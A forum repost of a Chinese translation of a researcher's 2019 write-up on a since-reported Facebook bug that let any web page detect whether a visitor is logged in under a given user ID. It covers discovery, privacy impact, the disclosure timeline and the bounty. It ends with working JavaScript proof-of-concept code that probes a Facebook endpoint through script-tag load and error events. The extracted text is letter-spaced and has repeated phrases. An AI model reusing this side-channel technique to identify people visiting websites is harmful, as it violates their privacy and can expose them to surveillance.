搜索

[13879] 2019-03-17_通过一个网页识别Facebook用户当前登录状态

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2019-03-17_通过一个网页识别Facebook用户当前登录状态 通 过 一 个 网 页 识 别 F a c e b o o k 用 户 当 前 登 录 状 态 c l o u d s   F r e e B u f   2 0 1 9 - 0 3 - 1 7 本 文 分 享 的 是 一 个 关 于 本 文 分 享 的 是 一 个 关 于 F a c e b o o k 的 漏 洞 ， 漏 洞 机 制 在 于 ： 可 以 通 过 一 个 网 页 ， 以 输 入 的 漏 洞 ， 漏 洞 机 制 在 于 ： 可 以 通 过 一 个 网 页 ， 以 输 入 F a c e b o o k 用 户 用 户 I D 的 方 式 ， 来 识 别 其 对 应 的 的 方 式 ， 来 识 别 其 对 应 的 F a c e b o o k 用 户 在 当 前 时 间 内 ， 是 否 处 于 用 户 在 当 前 时 间 内 ， 是 否 处 于 F a c e b o o k 登 录 状 态 。 最 终 ， 漏 洞 上 报 后 ， 登 录 状 态 。 最 终 ， 漏 洞 上 报 后 ， F a c e b o o k 方 面 花 了 半 年 多 才 修 复 了 这 个 漏 洞 ， 并 奖 励 了 方 面 花 了 半 年 多 才 修 复 了 这 个 漏 洞 ， 并 奖 励 了 $ 1 0 0 0 美 金 赏 金 。 以 下 为 作 者 漏 洞 发 现 的 思 路 过 程 。 美 金 赏 金 。 以 下 为 作 者 漏 洞 发 现 的 思 路 过 程 。 漏 洞 前 言 漏 洞 前 言 去 年 ， F a c e b o o k 深 陷 剑 桥 分 析 公 司 的 用 户 隐 私 事 件 中 ， 马 克 · 扎 克 伯 格 被 要 求 在 国 会 上 出 席 公 开 听 证 会 。 听 证 会 上 ， 其 中 就 有 一 个 问 题 就 是 ， F a c e b o o k 是 否 能 通 过 自 身 或 其 嵌 入 应 用 的 第 三 方 网 站 来 跟 踪 用 户 收 集 用 户 信 息 。 当 时 ， 很 多 媒 体 都 对 F a c e b o o k 做 了 铺 天 盖 地 的 报 道 ， 社 会 上 也 呈 现 出 一 边 倒 的 负 面 舆 论 。 为 此 ， 作 为 向 公 众 担 忧 的 回 应 ， F a c e b o o k 宣 布 了 很 多 数 据 安 全 措 施 ， 其 中 就 包 括 了 启 动 “ 数 据 滥 用 悬 赏 ” 计 划 （ D a t a   A b u s e   B o u n t y ） ， 旨 在 奖 励 与 F a c e b o o k 用 户 数 据 安 全 相 关 的 漏 洞 隐 患 和 行 为 发 现 ， 实 现 全 社 会 对 用 户 数 据 保 护 的 监 督 。 作 为 我 来 说 ， 自 去 年 发 现 了 谷 歌 的 搜 索 结 果 排 名 漏 洞 之 后 ， 我 就 着 手 研 究 ， 是 否 能 通 过 其 它 网 站 来 跟 踪 或 者 说 识 别 出 F a c e b o o k 用 户 。 经 过 大 量 测 试 后 ， 我 尝 试 着 寻 找 一 个 漏 洞 ， 基 于 该 漏 洞 ， 可 以 发 现 网 站 访 问 者 是 否 登 录 了 某 个 相 关 联 的 F a c e b o o k 账 户 ， 而 且 ， 我 希 望 最 终 可 以 实 现 的 识 别 机 制 是 ， 每 秒 要 能 识 别 数 百 个 身 份 的 效 率 。 漏 洞 发 现 过 程 漏 洞 发 现 过 程 F a c e b o o k 部 署 了 好 多 后 端 服 务 ， 用 于 全 站 各 种 A J A X 请 求 。 这 些 后 端 服 务 在 安 全 实 现 方 面 ， 都 在 服 务 端 响 应 架 构 中 设 置 了 合 理 的 a c c e s s - c o n t r o l - a l l o w - o r i g i n 头 和 各 种 “ 神 奇 ” 前 缀 ， 以 此 来 阻 止 J S O N 劫 持 和 其 它 恶 意 攻 击 。 首 先 ， 我 在 F a c e b o o k 中 寻 找 着 不 存 在 上 述 保 护 机 制 的 服 务 端 ， 和 一 些 可 以 在 U R L 链 接 中 传 递 用 户 I D 的 服 务 端 ， 我 还 想 方 设 法 去 解 析 F a c e b o o k 响 应 内 容 ， 去 确 认 U R L 链 接 中 的 U I D 是 否 正 确 。 其 次 ， 我 着 重 查 找 了 那 些 U R L 链 接 中 包 含 用 户 I D 的 相 关 图 片 ， 且 这 些 图 片 在 U I D 和 关 联 账 户 登 录 相 匹 配 时 会 产 生 不 同 行 为 ， 这 样 的 话 ， 我 就 能 进 行 一 些 构 造 利 用 ， 但 也 仅 限 一 些 特 定 I D （ 类 似 方 法 ） 。 经 测 试 发 现 ， 某 张 图 片 确 实 在 登 录 匹 配 时 发 生 了 异 常 行 为 ， 但 是 其 相 关 的 U R L 链 接 中 仍 然 包 含 了 用 于 C S R F 攻 击 防 御 的 f b _ d t s g 参 数 ， 为 了 防 止 滥 用 ， 该 参 数 对 每 位 用 户 来 说 都 是 不 同 的 。 另 外 ， 我 还 检 查 了 U R L 链 接 中 的 所 有 3 0 1 和 3 0 2 跳 转 ， 我 想 如 果 可 能 的 话 ， 这 种 跳 转 可 能 会 以 某 种 方 式 重 定 向 到 某 张 图 片 ， 然 后 就 能 构 造 像 上 述 的 攻 击 测 试 了 。 最 终 ， 经 过 给 大 量 的 上 述 服 务 端 检 查 测 试 之 后 ， 我 终 于 发 现 了 一 个 服 务 端 在 行 为 方 式 上 有 所 不 同 ， 尽 管 这 只 是 一 小 点 的 略 有 差 异 ， 但 是 也 能 说 明 问 题 。 这 个 服 务 端 本 身 确 实 是 有 a c c e s s - c o n t r o l - a l l o w - o r i g i n 消 息 控 制 头 的 ， 但 当 U R L 链 接 中 的 用 户 I D 参 数 （ 在 _ _ u s e r 的 U R L 中 ） 与 关 联 账 户 的 登 录 行 为 不 匹 配 时 ， 服 务 端 中 就 会 包 含 一 个 ” e r r o r “ 前 缀 ， 而 当 两 者 行 为 匹 配 时 ， 其 中 就 不 会 包 括 任 何 前 缀 。 U R L 中 的 用 户 I D 和 关 联 账 户 登 录 行 为 匹 配 时 ， 服 务 端 响 应 为 J S O N 内 容 。 如 下 为 用 户 I D 和 关 联 账 户 登 录 行 为 不 匹 配 以 及 匹 配 时 的 响 应 内 容 ： 然 而 ， 由 于 烦 人 的 a c c e s s - c o n t r o l - a l l o w - o r i g i n 消 息 控 制 头 ， 浏 览 器 会 发 起 阻 止 ， 所 以 我 不 能 通 过 X M L H t t p R e q u e s t   ( X H R ) 方 式 对 它 进 行 调 用 。 为 此 ， 我 一 度 认 为 这 是 一 个 死 胡 同 方 法 ， 但 后 来 我 又 意 识 到 ， 我 可 以 用 < s c r i p t > 块 加 . s r c 的 方 式 来 调 用 这 个 外 部 链 接 啊 。 总 之 ， 这 种 调 用 行 为 ， 肯 定 是 不 能 成 功 登 录 关 联 账 户 的 ， 但 可 以 从 以 上 两 种 不 同 的 响 应 方 式 和 c o n t e n t - t y p e 头 中 来 综 合 判 断 出 ， 关 联 账 户 在 当 前 时 间 内 ， 是 否 登 录 F a c e b o o k 的 状 态 。 为 此 ， 还 可 继 续 通 过 利 用 < s c r i p t > 的 o n l o a d 和   o n e r r o r 事 件 方 法 来 对 登 录 状 态 进 行 一 个 有 效 判 断 。 P o C 我 发 现 存 在 响 应 异 常 的 F a c e b o o k 服 务 端 如 下 ： h t t p s : / / w w w . f a c e b o o k . c o m / a j a x / p a g e l e t / g e n e r i c . p h p / T i m e l i n e E n t S t o r y A c t i v i t y L o g P a g e l e t ? d p r = 2 & a j a x p i p e = 1 & a j a x p i p e _ t o k e n = A X j e D M 6 D Z _ a i A e G - & n o _ s c r i p t _ p a t h = 1 & d a t a = % 7 B % 2 2 y e a r % 2 2 % 3 A 2 0 1 7 % 2 C % 2 2 m o n t h % 2 2 % 3 A 9 % 2 C % 2 2 l o g _ f i l t e r % 2 2 % 3 A % 2 2 h i d d e n % 2 2 % 2 C % 2 2 p r o f i l e _ i d % 2 2 % 3 A 1 1 5 9 0 1 6 1 9 6 % 7 D & u s e r = X X X X X X X X X X X X & 4 a m a x x 2 u 7 a J G e F x q e C w K y W z E y 4 a h e C 2 6 7 U q w W h E 9 8 n w g U 6 C 4 U K K 9 w P G i 2 u U G 4 X z E e U K 3 u c z o b r z o e o n V U k z 8 n x m 1 t y p 8 S 2 m 4 p U 5 L x q r U G c w B x - 1 - w O D B w z g 7 G u 4 p H x x 0 M x K 1 I z 8 d 8 v y 8 y e y E S 3 m 6 o g U K e x e E g y 9 E h x O 2 q f y Z 1 z x 6 9 w y Q F 8 u h m 3 C h 4 y E i y o c U i V k 4 8 a 8 k y 8 9 k d G F U S & r e q = f e t c h s t r e a m _ 8 & b e = 1 & p c = P H A S E D % 3 A D E F A U L T & 基 于 此 ， 我 可 以 构 造 一 个 简 单 的   J a v a s c r i p t   脚 本 配 合 一 些 调 用 标 签 去 检 查 相 关 用 户 I D 的 F a c e b o o k 登 录 状 态 。 由 于 F a c e b o o k 的 后 端 为 H T T P 2 协 议 ， 所 以 可 以 同 时 快 速 地 处 理 大 量 类 似 请 求 。 在 我 构 造 的 查 询 页 面 中 ， 可 以 每 秒 查 询 4 0 0 到 5 0 0 个 用 户 I D ， 如 果 按 正 常 来 算 的 话 ， 在 一 分 钟 之 内 就 可 以 轻 松 查 询 数 千 个 用 户 I D 的 登 录 状 态 。 况 且 ， F a c e b o o k 的 这 个 服 务 端 无 任 何 速 率 限 制 。 我 构 造 的 查 询 页 面 为 ： h t t p : / / w w w . t o m a n t h o n y . c o . u k / s e c u r i t y / f b _ i d e n t i f i e r / i n d e x . h t m l
F a c e b o o k 的 用 户 I D 一 般 在 登 录 后 的 个 人 设 置 页 面 会 有 显 示 ， 如 ： 在 这 里 ， 如 果 你 输 入 查 询 的 用 户 I D 在 当 前 时 间 内 确 实 处 于 F a c e b o o k 登 录 状 态 ， 它 就 会 显 示 ： 如 果 查 询 的 用 户 I D 在 当 前 时 间 内 不 处 于 F a c e b o o k 登 录 状 态 ， 它 的 结 果 为 ： 其 中 主 要 用 到 的 方 法 如 下 ：
具 体 可 以 右 键 查 看 网 页 源 码 来 参 考 。 漏 洞 危 害 漏 洞 危 害 单 独 从 漏 洞 利 用 方 面 来 讲 ， 该 漏 洞 影 响 有 限 ， 因 为 需 要 查 询 某 个 F a c e b o o k 用 户 的 登 录 状 态 ， 你 还 要 需 要 知 道 他 的 F a c e b o o k 用 户 I D 。 然 而 ， ” 剑 桥 分 析 “ 数 据 隐 私 丑 闻 事 件 中 就 泄 露 了 大 量 F a c e b o o k 用 户 信 息 ， 一 旦 这 些 信 息 被 人 恶 意 利 用 ， 结 合 该 漏 洞 ， 无 需 其 它 F a c e b o o k   A P I s ， 就 能 对 这 些 用 户 的 F a c e b o o k 登 录 状 态 进 行 识 别 了 。 另 外 ， 该 漏 洞 最 邪 恶 的 攻 击 利 用 者 ， 如 某 些 专 制 政 府 ， 他 们 手 里 肯 定 掌 握 某 些 特 定 人 员 的 如 用 户 I D 的 F a c e b o o k 用 户 信 息 。 其 次 ， 如 果 在 某 些 公 司 内 网 中 ， 要 收 集 内 部 人 员 的 F a c e b o o k 用 户 信 息 也 是 非 常 容 易 的 。 所 以 ， 综 合 来 说 ， 确 实 漏 洞 威 胁 有 限 ， 但 是 ， 对 大 部 份 人 来 说 ， 其 影 响 可 能 很 小 ， 但 对 一 些 特 定 人 群 来 说 ， 影 响 就 会 很 大 。 对 于 任 何 被 识 别 的 F a c e b o o k 用 户 来 说 ， 这 也 属 于 个 人 隐 私 侵 犯 。 漏 洞 披 露 进 程 漏 洞 披 露 进 程 2 0 1 8 . 4 . 2 0   漏 洞 初 报 2 0 1 8 . 4 . 2 0   F a c e b o o k 回 复 我 漏 洞 已 经 转 给 相 关 内 部 安 全 团 队 进 行 调 查 2 0 1 8 . 5 . 1   我 询 问 F a c e b o o k 当 前 漏 洞 状 态 2 0 1 8 . 5 . 2   F a c e b o o k 回 复 仍 然 处 理 调 查 过 程 之 中 2 0 1 8 . 5 . 2 3   我 发 现 漏 洞 已 在   C h r o m e   浏 览 器 环 境 进 行 了 修 复 ， 但 还 可 以 通 过 S a f a r i 进 行 利 用 2 0 1 8 . 5 . 2 3   F a c e b o o k 回 复 正 在 制 订 修 复 方 案 2 0 1 8 . 6 . 2 0   F a c e b o o k 奖 励 了 我 $ 1 0 0 0 美 金 2 0 1 8 . 1 0 . 1   向   F a c e b o o k 进 行 漏 洞 公 开 申 请 2 0 1 8 . 1 0 . 1   F a c e b o o k 回 复 称 漏 洞 还 在 处 于 修 复 过 程 中 2 0 1 8 . 1 0 . 1   我 继 续 跟 进   之 后 F a c e b o o k 回 复 称 可 以 公 开 漏 洞 * 参 考 来 源 ： t o m a n t h o n y ， c l o u d s 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M $ ( d o c u m e n t ) . r e a d y ( f u n c t i o n ( )   {         f o r   ( i   =   0 ;   i   <   i d s . l e n g t h ;   i + + )   {           u s e r i d   =   i d s [ i ] ;           v a r   s c r i p t b l o c k   =   d o c u m e n t . c r e a t e E l e m e n t ( " s c r i p t " ) ;           s c r i p t b l o c k . s r c   =   " h t t p s : / / w w w . f a c e b o o k . c o m / a j a x / p a g e l e t / g e n e r i c . p h p / T i m e l i n e E n t S t o r y A c t i v i t y L o g P a g e l e t ? d p r = 2 & a j a x p i p e = 1 & a j a x p i p e _ t o k e n = A X j d D M 6 D Z _ a i A e G - & n o _ s c r i p t _ p a t h = 1 & d a t a = % 7 B % 2 2 y e a r % 2 2 % 3 A 2 0 1 7 % 2 C % 2 2 m o n t h % 2 2 % 3 A 9 % 2 C % 2 2 l o g _ f i l t e r % 2 2 % 3 A % 2 2 h i d d e n % 2 2 % 2 C % 2 2 p r o f i l e _ i d % 2 2 % 3 A 1 0 5 9 0 1 6 1 9 6 % 7 D & _ _ u s e r = "   +   u s e r i d   +   " & _ _ a = 1 & _ _ d y n = 7 A g N e - 4 a m a x x 2 u 6 a J G e F x q e C w K y W z E y 4 a h e C 2 6 7 U q w W h E 9 8 n w g U 6 C 4 U K K 9 w P G i 2 u U G 4 X z E e U K 3 u c z o b r z o e o n V U k z 8 n x m 1 t y p 8 S 2 m 4 p U 5 L x q r U G c w B x - 1 - w O D B w z g 7 G u 4 p H x x 0 M x K 1 I z 8 d 8 v y 8 y e y E S 3 m 6 o g U K e x e E g y 9 E h x O 2 q f y Z 1 z x 6 9 w y Q F 8 u h m 3 C h 4 y E i y o c U i V k 4 8 a 8 k y 8 9 k d G F U S & _ _ r e q = f e t c h s t r e a m _ 8 & _ _ b e = 1 & _ _ p c = P H A S E D % 3 A D E F A U L T & _ _ r e v = 3 8 3 2 4 3 0 & _ _ s p i n _ r = 3 8 3 2 4 3 0 & _ _ s p i n _ b = t r u n k & _ _ s p i n _ t = 1 5 2 4 2 2 2 7 0 3 & _ _ a d t = 8 & a j a x p i p e _ f e t c h _ s t r e a m = 1 " ;           s c r i p t b l o c k . i d   =   u s e r i d ;           s c r i p t b l o c k . o n l o a d   =     f u n c t i o n ( )   {   u p d a t e _ a u t o _ r e s u l t ( t h i s . i d ,   f a l s e ) ;   } ;           s c r i p t b l o c k . o n e r r o r   =     f u n c t i o n ( )   {   u p d a t e _ a u t o _ r e s u l t ( t h i s . i d ,   t r u e ) ;   } ;           d o c u m e n t . g e t E l e m e n t B y I d ( ' s c r i p t b l o c k ' ) . a p p e n d C h i l d ( s c r i p t b l o c k ) ;         }       } ) ;       f u n c t i o n   r u n c h e c k ( u s e r i d )       {           v a r   s c r i p t b l o c k   =   d o c u m e n t . c r e a t e E l e m e n t ( " s c r i p t " ) ;           s c r i p t b l o c k . s r c   =   " h t t p s : / / w w w . f a c e b o o k . c o m / a j a x / p a g e l e t / g e n e r i c . p h p / T i m e l i n e E n t S t o r y A c t i v i t y L o g P a g e l e t ? d p r = 2 & a j a x p i p e = 1 & a j a x p i p e _ t o k e n = A X j d D M 6 D Z _ a i A e G - & n o _ s c r i p t _ p a t h = 1 & d a t a = % 7 B % 2 2 y e a r % 2 2 % 3 A 2 0 1 7 % 2 C % 2 2 m o n t h % 2 2 % 3 A 9 % 2 C % 2 2 l o g _ f i l t e r % 2 2 % 3 A % 2 2 h i d d e n % 2 2 % 2 C % 2 2 p r o f i l e _ i d % 2 2 % 3 A 1 0 5 9 0 1 6 1 9 6 % 7 D & _ _ u s e r = "   +   u s e r i d   +   " & _ _ a = 1 & _ _ d y n = 7 A g N e - 4 a m a x x 2 u 6 a J G e F x q e C w K y W z E y 4 a h e C 2 6 7 U q w W h E 9 8 n w g U 6 C 4 U K K 9 w P G i 2 u U G 4 X z E e U K 3 u c z o b r z o e o n V U k z 8 n x m 1 t y p 8 S 2 m 4 p U 5 L x q r U G c w B x - 1 - w O D B w z g 7 G u 4 p H x x 0 M x K 1 I z 8 d 8 v y 8 y e y E S 3 m 6 o g U K e x e E g y 9 E h x O 2 q f y Z 1 z x 6 9 w y Q F 8 u h m 3 C h 4 y E i y o c U i V k 4 8 a 8 k y 8 9 k d G F U S & _ _ r e q = f e t c h s t r e a m _ 8 & _ _ b e = 1 & _ _ p c = P H A S E D % 3 A D E F A U L T & _ _ r e v = 3 8 3 2 4 3 0 & _ _ s p i n _ r = 3 8 3 2 4 3 0 & _ _ s p i n _ b = t r u n k & _ _ s p i n _ t = 1 5 2 4 2 2 2 7 0 3 & _ _ a d t = 8 & a j a x p i p e _ f e t c h _ s t r e a m = 1 " ;           s c r i p t b l o c k . i d   =   u s e r i d ;           s c r i p t b l o c k . o n l o a d   =     f u n c t i o n ( )   {   s h o w _ r e s u l t ( u s e r i d ,   f a l s e ) ;   } ;           s c r i p t b l o c k . o n e r r o r   =     f u n c t i o n ( )   {   s h o w _ r e s u l t ( u s e r i d ,   t r u e ) ;   } ;           d o c u m e n t . g e t E l e m e n t B y I d ( ' m a n u a l b l o c k ' ) . a p p e n d C h i l d ( s c r i p t b l o c k ) ;       }       f u n c t i o n   s h o w _ r e s u l t ( u s e r i d ,   s t a t u s )       {         i f   ( u s e r i d   = =   " " )           r e t u r n ;         t r y   {           i f   ( s t a t u s )           {               $ ( " # F a c e b o o k S t a t u s " ) . h t m l ( " Y o u   < s p a n   c l a s s = ' g r e e n ' > a r e < / s p a n >   c u r r e n t l y   l o g g e d   i n   t o   < s t r o n g > "   +   u s e r i d   +   " < / s t r o n g > " ) ;           } e l s e {               $ ( " # F a c e b o o k S t a t u s " ) . h t m l ( " Y o u   < s p a n   c l a s s = ' r e d ' > a r e   n o t < / s p a n >   c u r r e n t l y   l o g g e d   i n   t o   < s t r o n g > "   +   u s e r i d   +   " < / s t r o n g > " ) ;           }         } c a t c h ( e r r )   {                 / / n a d a         }       }       f u n c t i o n   u p d a t e _ a u t o _ r e s u l t ( u s e r i d ,   s t a t u s )       {         v a r   p e o p l e   =   { } ;         p e o p l e [ " 4 " ]   =   " M a r k Z " ;         i f   ( s t a t u s )   {           i f   ( u s e r i d   i n   p e o p l e )           {             $ ( " # k n o w n A c c o u n t " ) . h t m l ( " I   k n o w   y o u !   Y o u   a r e :   "   +   p e o p l e [ u s e r i d ] ) ;           } e l s e {             $ ( " # k n o w n A c c o u n t " ) . h t m l ( " I   k n o w   y o u !   Y o u   a r e :   "   +   u s e r i d ) ;           }         }       }   < / s c r i p t >
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理